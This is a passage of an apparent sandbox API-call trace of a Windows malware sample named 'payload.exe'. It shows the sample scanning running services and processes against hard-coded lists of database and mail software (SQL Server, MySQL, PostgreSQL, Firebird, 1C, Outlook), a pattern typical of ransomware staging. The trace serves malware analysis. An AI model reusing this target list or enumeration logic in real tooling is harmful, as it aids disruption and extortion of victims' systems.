[0091.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0091.939] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0091.939] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0091.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0091.939] lstrlenW (lpString="MMCSS") returned 5 [0091.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0091.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0091.939] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0091.939] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0091.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0091.939] lstrlenW (lpString="MpsSvc") returned 6 [0091.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0091.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0091.939] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0091.939] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0091.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0091.939] lstrlenW (lpString="NlaSvc") returned 6 [0091.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0091.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0091.939] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0091.939] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0091.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0091.939] lstrlenW (lpString="nsi") returned 3 [0091.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0091.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0091.940] lstrlenW (lpString="PcaSvc") returned 6 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0091.940] lstrlenW (lpString="PlugPlay") returned 8 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0091.940] lstrlenW (lpString="Power") returned 5 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0091.940] lstrlenW (lpString="ProfSvc") returned 7 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0091.940] lstrlenW (lpString="RpcEptMapper") returned 12 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0091.940] lstrlenW (lpString="RpcSs") returned 5 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0091.940] lstrlenW (lpString="SamSs") returned 5 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0091.940] lstrlenW (lpString="Schedule") returned 8 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0091.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0091.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0091.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0091.940] lstrlenW (lpString="SENS") returned 4 [0091.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0091.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0091.941] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0091.941] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0091.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0091.941] lstrlenW (lpString="ShellHWDetection") returned 16 [0091.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0091.941] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0091.941] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0091.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0091.941] lstrlenW (lpString="Spooler") returned 7 [0091.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0091.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0091.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0091.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0091.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0091.941] lstrlenW (lpString="SysMain") returned 7 [0091.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0091.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0091.941] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0091.941] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0091.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0091.941] lstrlenW (lpString="Themes") returned 6 [0091.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0091.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0091.941] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0091.941] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0091.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0091.941] lstrlenW (lpString="TrkWks") returned 6 [0091.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0091.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0091.941] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0091.941] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0091.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0091.941] lstrlenW (lpString="UxSms") returned 5 [0091.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0091.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0091.941] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0091.941] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0091.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0091.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0091.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0091.943] Process32FirstW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0091.943] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0091.943] lstrlenW (lpString="System") returned 6 [0091.943] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0091.943] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0091.943] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0091.943] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0091.943] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0091.943] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0091.943] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0091.943] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0091.944] lstrlenW (lpString="smss.exe") returned 8 [0091.944] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0091.944] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.944] lstrlenW (lpString="csrss.exe") returned 9 [0091.944] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0091.944] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0091.944] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0091.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0091.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0091.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0091.944] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0091.944] lstrlenW (lpString="wininit.exe") returned 11 [0091.944] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0091.944] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0091.944] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0091.944] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0091.944] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0091.944] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0091.944] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0091.944] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0091.945] lstrlenW (lpString="csrss.exe") returned 9 [0091.945] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0091.945] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0091.945] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0091.945] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0091.945] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0091.945] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0091.945] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0091.945] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0091.945] lstrlenW (lpString="winlogon.exe") returned 12 [0091.945] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0091.945] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0091.945] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0091.945] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0091.945] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0091.945] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0091.945] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0091.945] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0091.946] lstrlenW (lpString="services.exe") returned 12 [0091.946] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0091.946] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0091.946] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0091.946] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0091.946] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0091.946] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0091.946] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0091.946] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0091.946] lstrlenW (lpString="lsass.exe") returned 9 [0091.946] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0091.946] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0091.946] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0091.946] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0091.946] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0091.946] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0091.946] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0091.946] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0091.946] lstrlenW (lpString="lsm.exe") returned 7 [0091.946] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0091.946] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0091.946] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0091.946] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0091.946] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0091.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0091.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0091.947] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.947] lstrlenW (lpString="svchost.exe") returned 11 [0091.947] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0091.947] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.947] lstrlenW (lpString="svchost.exe") returned 11 [0091.947] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0091.947] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0091.947] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.948] lstrlenW (lpString="svchost.exe") returned 11 [0091.948] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0091.948] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0091.948] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0091.948] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0091.948] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0091.948] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0091.948] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0091.948] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.948] lstrlenW (lpString="svchost.exe") returned 11 [0091.948] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.948] lstrlenW (lpString="svchost.exe") returned 11 [0091.948] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0091.949] lstrlenW (lpString="audiodg.exe") returned 11 [0091.949] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.949] lstrlenW (lpString="svchost.exe") returned 11 [0091.949] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.950] lstrlenW (lpString="svchost.exe") returned 11 [0091.950] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0091.950] lstrlenW (lpString="userinit.exe") returned 12 [0091.950] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0091.950] lstrlenW (lpString="dwm.exe") returned 7 [0091.950] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0091.950] lstrlenW (lpString="explorer.exe") returned 12 [0091.950] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0091.951] lstrlenW (lpString="spoolsv.exe") returned 11 [0091.951] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0091.951] lstrlenW (lpString="taskhost.exe") returned 12 [0091.951] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0091.951] lstrlenW (lpString="svchost.exe") returned 11 [0091.951] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0091.951] lstrlenW (lpString="payload.exe") returned 11 [0091.951] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0091.952] lstrlenW (lpString="reader_sl.exe") returned 13 [0091.952] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0091.952] lstrlenW (lpString="dllhost.exe") returned 11 [0091.952] Process32NextW (in: hSnapshot=0x190, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0091.952] CloseHandle (hObject=0x190) returned 1 [0091.952] Sleep (dwMilliseconds=0x1f4) [0092.653] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70d0 [0092.656] EnumServicesStatusExW (in: hSCManager=0x3ab70d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, 